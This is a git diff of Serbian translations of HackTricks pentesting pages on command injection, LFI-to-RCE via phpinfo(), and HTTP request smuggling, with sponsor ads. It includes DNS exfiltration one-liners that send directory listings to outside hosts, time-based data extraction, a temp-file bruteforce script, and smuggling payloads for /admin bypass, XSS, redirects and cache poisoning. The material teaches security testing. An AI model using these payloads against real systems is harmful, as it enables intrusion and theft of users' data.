{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Šta je command Injection?
A **command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
**command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
### Kontekst
@ -52,7 +52,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Obilaženje** Ograničenja
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Obilaženjima:**
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovom **Obilaženju:**
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
@ -96,7 +96,7 @@ Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sli
```
### Ekstrakcija podataka zasnovana na vremenu
Ekstrakcija podataka: znak po znak
Ekstrakcija podataka: karakter po karakter
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -120,7 +120,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Online alati za proveru DNS zasnovanog ekfiltriranja podataka:
Online alati za proveru DNS bazirane eksfiltracije podataka:
* dnsbin.zhack.ca
* pingb.in
@ -164,8 +164,8 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,14 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file\_uploads = on" i server mora moći da piše u direktorijum "/tmp".**
Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file\_uploads = on" i server mora biti u mogućnosti da piše u direktorijum "/tmp".**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
@ -38,19 +38,19 @@ You have to change also the **payload** at the beginning of the exploit (for a p
### Teorija
Ako su uploadi dozvoljeni u PHP-u i pokušate da uploadujete fajl, ovaj fajl se čuva u privremenom direktorijumu dok server ne završi obradu zahteva, zatim se ovaj privremeni fajl briše.
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremenog fajla koji je kreiran i iskoristite RCE pristupajući privremenom fajlu pre nego što bude obrisan.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
U **Windows-u** fajlovi se obično čuvaju u **C:\Windows\temp\php**
In **Windows** the files are usually stored in **C:\Windows\temp\php**
U **linux-u** ime fajla obično je **nasumično** i nalazi se u **/tmp**. Pošto je ime nasumično, potrebno je **izvući negde ime privremenog fajla** i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti **varijable $\_FILES** unutar sadržaja funkcije "**phpconfig()**".
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
**phpinfo()**
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **mnogo velikih zahteva** (koristeći velike heder-e) **uploadujući php** reverznu **ljusku**, čekati da **prvi deo phpinfo() bude vraćen** (gde je ime privremenog fajla) i pokušati da **pristupi privremenom fajlu** pre nego što php server obriše fajl iskorišćavajući LFI ranjivost.
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)**
**Python skripta za pokušaj bruteforce imena (ako je dužina = 6)**
```python
import itertools
import requests
@ -74,9 +74,9 @@ print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,16 +17,16 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Šta je
Ova ranjivost se javlja kada **desinkronizacija** između **front-end proxy** i **back-end** servera omogućava **napadaču** da **pošalje** HTTP **zahtev** koji će biti **tumačen** kao **jedan zahtev** od strane **front-end** proxy-a (load balance/reverse-proxy) i **kao 2 zahteva** od strane **back-end** servera.\
To omogućava korisniku da **modifikuje sledeći zahtev koji stigne do back-end servera nakon njegovog**.
Ova ranjivost se javlja kada **desinkronizacija** između **frontalnih proksija** i **pozadinskog** servera omogućava **napadaču** da **pošalje** HTTP **zahtev** koji će biti **tumačen** kao **jedan zahtev** od strane **frontalnih** proksija (load balance/reverse-proxy) i **kao 2 zahteva** od strane **pozadinskog** servera.\
To omogućava korisniku da **modifikuje sledeći zahtev koji stigne na pozadinski server nakon njegovog**.
### Teorija
@ -45,15 +45,15 @@ To omogućava korisniku da **modifikuje sledeći zahtev koji stigne do back-end
### Stvarnost
**Front-End** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ zaglavlje, a **Back-end** server **obrađuje drugo**, izazivajući **desinkronizaciju** između 2 sistema.\
To može biti veoma kritično jer **napadač može poslati jedan zahtev** na reverse proxy koji će biti **tumačen** od strane **back-end** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **back-end** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **stvarni zahtev** tog klijenta će biti **deo** **ubačenog zahteva**.
**Frontalni** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ zaglavlje, a **pozadinski** server **obrađuje drugo** izazivajući **desinkronizaciju** između 2 sistema.\
To može biti veoma kritično jer **napadač može poslati jedan zahtev** na reverzni proksi koji će biti **tumačen** od strane **pozadinskog** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **pozadinski** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **stvarni zahtev** tog klijenta će biti **deo** **ubačenog zahteva**.
### Posebnosti
Zapamtite da u HTTP **novi red karakter se sastoji od 2 bajta:**
* **Content-Length**: Ovo zaglavlje koristi **decimalni broj** da označi **broj** **bajtova** **tela** zahteva. Očekuje se da telo završi u poslednjem karakteru, **novi red nije potreban na kraju zahteva**.
* **Transfer-Encoding:** Ovo zaglavlje koristi u **telu** **heksadecimalni broj** da označi **broj** **bajtova** **sledećeg dela**. **Chunk** mora **završiti** sa **novim redom**, ali ovaj novi red **se ne računa** od strane indikatora dužine. Ova metoda prenosa mora završiti sa **delom veličine 0 praćenim sa 2 nova reda**: `0`
* **Transfer-Encoding:** Ovo zaglavlje koristi u **telu** **heksadecimalni broj** da označi **broj** **bajtova** **sledećeg dela**. **Deo** mora **završiti** sa **novim redom**, ali ovaj novi red **se ne računa** od strane indikatora dužine. Ova metoda prenosa mora završiti sa **delom veličine 0 praćenim sa 2 nova reda**: `0`
* **Connection**: Na osnovu mog iskustva, preporučuje se korišćenje **`Connection: keep-alive`** na prvom zahtevu prilikom smuggling-a.
## Osnovni Primeri
@ -62,9 +62,9 @@ Zapamtite da u HTTP **novi red karakter se sastoji od 2 bajta:**
Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki uređaji zloupotrebljavaju nove redove, povratne znakove i neispravne content-length vrednosti.
{% endhint %}
HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako front-end i back-end serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji front-end i back-end serveri prioritetizuju ova zaglavlja. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) zaglavlja. Ovi napadi se mogu manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ova zaglavlja. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
### Osnovni Primeri Tipova Ranjivosti
### Osnovni Primeri Ranjivosti
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
@ -72,14 +72,14 @@ HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste
U prethodnu tabelu treba dodati TE.0 tehniku, kao CL.0 tehniku, ali koristeći Transfer Encoding.
{% endhint %}
#### CL.TE Ranjivost (Content-Length koristi Front-End, Transfer-Encoding koristi Back-End)
#### CL.TE Ranjivost (Content-Length koristi Frontalni, Transfer-Encoding koristi Pozadinski)
* **Front-End (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
* **Back-End (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
* **Frontalni (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
* **Pozadinski (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
* **Scenarijo napada:**
* Napadač šalje zahtev gde vrednost `Content-Length` zaglavlja ne odgovara stvarnoj dužini sadržaja.
* Front-end server prosleđuje ceo zahtev back-end-u, na osnovu vrednosti `Content-Length`.
* Back-end server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` zaglavlja, tumačeći preostale podatke kao odvojeni, sledeći zahtev.
* Frontalni server prosleđuje ceo zahtev pozadinskom, na osnovu vrednosti `Content-Length`.
* Pozadinski server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` zaglavlja, tumačeći preostale podatke kao odvojeni, sledeći zahtev.
* **Primer:**
```
@ -95,14 +95,14 @@ GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Ranjivost (Transfer-Encoding koristi Front-End, Content-Length koristi Back-End)
#### TE.CL Ranjivost (Transfer-Encoding koristi Frontalni, Content-Length koristi Pozadinski)
* **Front-End (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
* **Back-End (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
* **Frontalni (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
* **Pozadinski (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
* **Scenarijo napada:**
* Napadač šalje chunked zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) ne odgovaraju.
* Front-end server, poštujući `Transfer-Encoding`, prosleđuje ceo zahtev back-end-u.
* Back-end server, poštujući `Content-Length`, obrađuje samo početni deo zahteva (`7b` bajtova), ostavljajući ostatak kao deo neplaniranog sledećeg zahteva.
* Napadač šalje chunked zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) nisu usklađeni.
* Frontalni server, poštujući `Transfer-Encoding`, prosleđuje ceo zahtev pozadinskom.
* Pozadinski server, poštujući `Content-Length`, obrađuje samo početni deo zahteva (`7b` bajtova), ostavljajući ostatak kao deo neplaniranog sledećeg zahteva.
* **Primer:**
```
@ -128,7 +128,7 @@ x=
* **Serveri:** Obe podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation.
* **Scenarijo napada:**
* Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` zaglavljima.
* U zavisnosti od toga koji server (front-end ili back-end) ne prepoznaje obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost.
* U zavisnosti od toga koji server (frontalni ili pozadinski) ne prepoznaje obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost.
* Neobrađeni deo zahteva, kako ga vidi jedan od servera, postaje deo sledećeg zahteva, što dovodi do smuggling-a.
* **Primer:**
@ -149,7 +149,7 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenarijo (Content-Length koriste i Front-End i Back-End)**
#### **CL.CL Scenarijo (Content-Length koriste oba Frontalni i Pozadinski)**
* Obe servera obrađuju zahtev isključivo na osnovu `Content-Length` zaglavlja.
* Ovaj scenario obično ne dovodi do smuggling-a, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
@ -166,7 +166,7 @@ Normal Request
#### **CL.0 Scenarijo**
* Odnosi se na scenarije gde je `Content-Length` zaglavlje prisutno i ima vrednost različitu od nule, što ukazuje na to da telo zahteva ima sadržaj. Back-end ignoriše `Content-Length` zaglavlje (koje se tretira kao 0), ali front-end ga analizira.
* Odnosi se na scenarije gde je `Content-Length` zaglavlje prisutno i ima vrednost različitu od nule, što ukazuje na to da telo zahteva ima sadržaj. Pozadinski ignoriše `Content-Length` zaglavlje (koje se tretira kao 0), ali frontalni ga analizira.
* Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva.
* **Primer:**
@ -221,7 +221,7 @@ For **više informacija o hop-by-hop header-ima** posetite:
## Pronalaženje HTTP Request Smuggling
Identifikacija HTTP request smuggling ranjivosti često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko vremena je potrebno serveru da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
Identifikacija ranjivosti HTTP request smuggling često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
### Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Merenja Vremena
@ -241,11 +241,11 @@ A
0
```
* **Posmatranje:**
* Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku prerano.
* Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku pre vremena.
* Back-end server, očekujući chunked poruku, čeka na sledeći chunk koji nikada ne dolazi, uzrokujući kašnjenje.
* **Pokazatelji:**
* **Indikatori:**
* Timeout-ovi ili duga kašnjenja u odgovoru.
* Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru.
* Prijem 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru.
### Pronalaženje TE.CL Ranjivosti Korišćenjem Tehnika Merenja Vremena
@ -270,7 +270,7 @@ X
### Druge Metode za Pronalaženje Ranjivosti
* **Analiza Diferencijalnog Odgovora:**
* Pošaljite blago izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na grešku u parsiranju.
* Pošaljite malo izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na grešku u parsiranju.
* **Korišćenje Automatizovanih Alata:**
* Alati poput Burp Suite-ove 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analizom odgovora.
* **Testovi Varijacije Content-Length:**
@ -289,14 +289,14 @@ Kada testirate ranjivosti request smuggling-a ometajući druge zahteve, imajte n
* **Različite Mrežne Konekcije:** "Napad" i "normalni" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje prisustvo ranjivosti.
* **Dosledni URL i Parametri:** Ciljajte da koristite identične URL-ove i imena parametara za oba zahteva. Moderne aplikacije često usmeravaju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Usklađivanje ovih povećava verovatnoću da oba zahteva obrađuje isti server, što je preduslov za uspešan napad.
* **Vreme i Uslovi Trke:** "Normalni" zahtev, koji je namenjen otkrivanju ometanja od "napadnog" zahteva, takmiči se protiv drugih istovremenih zahteva aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
* **Izazovi Balansiranja Opterećenja:** Front-end serveri koji deluju kao balansatori opterećenja mogu raspodeliti zahteve preko različitih back-end sistema. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati nekoliko pokušaja za potvrdu ranjivosti.
* **Izazovi Balansiranja Opterećenja:** Front-end serveri koji deluju kao balansatori opterećenja mogu raspodeliti zahteve među različitim back-end sistemima. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati nekoliko pokušaja za potvrdu ranjivosti.
* **Nepredviđeni Uticaj na Korisnike:** Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali za detekciju), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, što zahteva oprezan pristup.
## Zloupotreba HTTP Request Smuggling
### Zaobilaženje Front-End Bezbednosti putem HTTP Request Smuggling
Ponekad, front-end proxy-ji sprovode bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proxy aktivno blokira takve pokušaje. Ipak, ovaj proxy možda neće pregledati ugrađene zahteve unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Ponekad, front-end proxy-ji sprovode bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proxy aktivno blokira takve pokušaje. Ipak, ovaj proxy možda neće pregledati ugrađene zahteve unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end bezbednosnih kontrola, posebno ciljajući `/admin` putanju koja je obično zaštićena front-end proxy-jem:
@ -427,8 +427,8 @@ A=
Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:
1. Inicira `POST` zahtev, naizgled tipičan, sa `Transfer-Encoding: chunked` header-om da označi početak šverca.
2. Sledeći je `0`, što označava kraj chunked poruke.
3. Zatim, švercovani `GET` zahtev se uvodi, gde je `User-Agent` header zaražen skriptom, `<script>alert(1)</script>`, što pokreće XSS kada server obradi ovaj sledeći zahtev.
2. Nakon toga sledi `0`, što označava kraj chunked poruke.
3. Zatim se uvodi švercovani `GET` zahtev, gde je `User-Agent` header zaražen skriptom, `<script>alert(1)</script>`, što aktivira XSS kada server obradi ovaj sledeći zahtev.
Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja zahteva, čime iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način.
@ -440,11 +440,11 @@ U slučaju da se korisnički sadržaj odražava u odgovoru sa **`Content-type`**
Verzija HTTP/0.9 je prethodila 1.0 i koristi samo **GET** glagole i **ne odgovara** sa **header-ima**, samo telom.
U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa korisničkim unosom** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`.
U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa unosom korisnika** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`.
### Iskorišćavanje preusmeravanja na lokaciji sa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz `Host` header-a u URL-u preusmeravanja. Ovo je uobičajeno sa web serverima kao što su Apache i IIS. Na primer, zahtev za folder bez završnog kosa rezultira preusmeravanjem da uključi kosu:
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz `Host` header-a u URL-u preusmeravanja. Ovo je uobičajeno sa web serverima kao što su Apache i IIS. Na primer, zahtev za folder bez završnog slash-a rezultira preusmeravanjem da uključi slash:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -468,7 +468,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Ovaj prokrijumčareni zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt koji kontroliše napadač:
Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt pod kontrolom napadača:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -480,7 +480,7 @@ Rezultati u:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika pružajući zlonamerni JavaScript kao odgovor.
U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika pružajući zlonameran JavaScript kao odgovor.
### Iskorišćavanje trovanja web kešom putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -490,7 +490,7 @@ Prethodno smo posmatrali kako se serverovi odgovori mogu izmeniti da vrate 404 g
Ova tehnika postaje posebno moćna ako se otkrije **Open Redirect ranjivost** ili ako postoji **preusmeravanje na sajtu ka otvorenom preusmeravanju**. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja `/static/include.js` sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`.
Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da isporuči JavaScript kod pod kontrolom napadača:
Ispod je ilustracija iskorišćavanja **trovanja kešom u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da isporuči JavaScript kod pod kontrolom napadača:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -532,7 +532,7 @@ Napadač kreira smuggled zahtev koji preuzima osetljiv sadržaj specifičan za k
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Ako ovaj smugglovani zahtev otrova keš unos namenjen za statički sadržaj (npr., `/someimage.png`), osetljivi podaci žrtve sa `/private/messages` mogli bi biti keširani pod unosom keša statičkog sadržaja. Kao rezultat, napadač bi potencijalno mogao da povrati ove keširane osetljive podatke.
Ako ovaj smugglovani zahtev otrova keš unos namenjen za statički sadržaj (npr., `/someimage.png`), osetljivi podaci žrtve sa `/private/messages` mogli bi biti keširani pod unosom keša statičkog sadržaja. Kao posledica, napadač bi potencijalno mogao da povrati ove keširane osetljive podatke.
### Zloupotreba TRACE putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -542,7 +542,7 @@ TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Će poslati odgovor kao:
Će poslati odgovor kao što je:
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -555,7 +555,7 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
```
Primer kako iskoristiti ovo ponašanje bio bi da se **prokrijumčari prvo HEAD zahtev**. Ovaj zahtev će biti odgovoreno samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). I prokrijumčariti **odmah nakon HEAD TRACE zahtev**, koji će **odražavati poslati podaci**.\
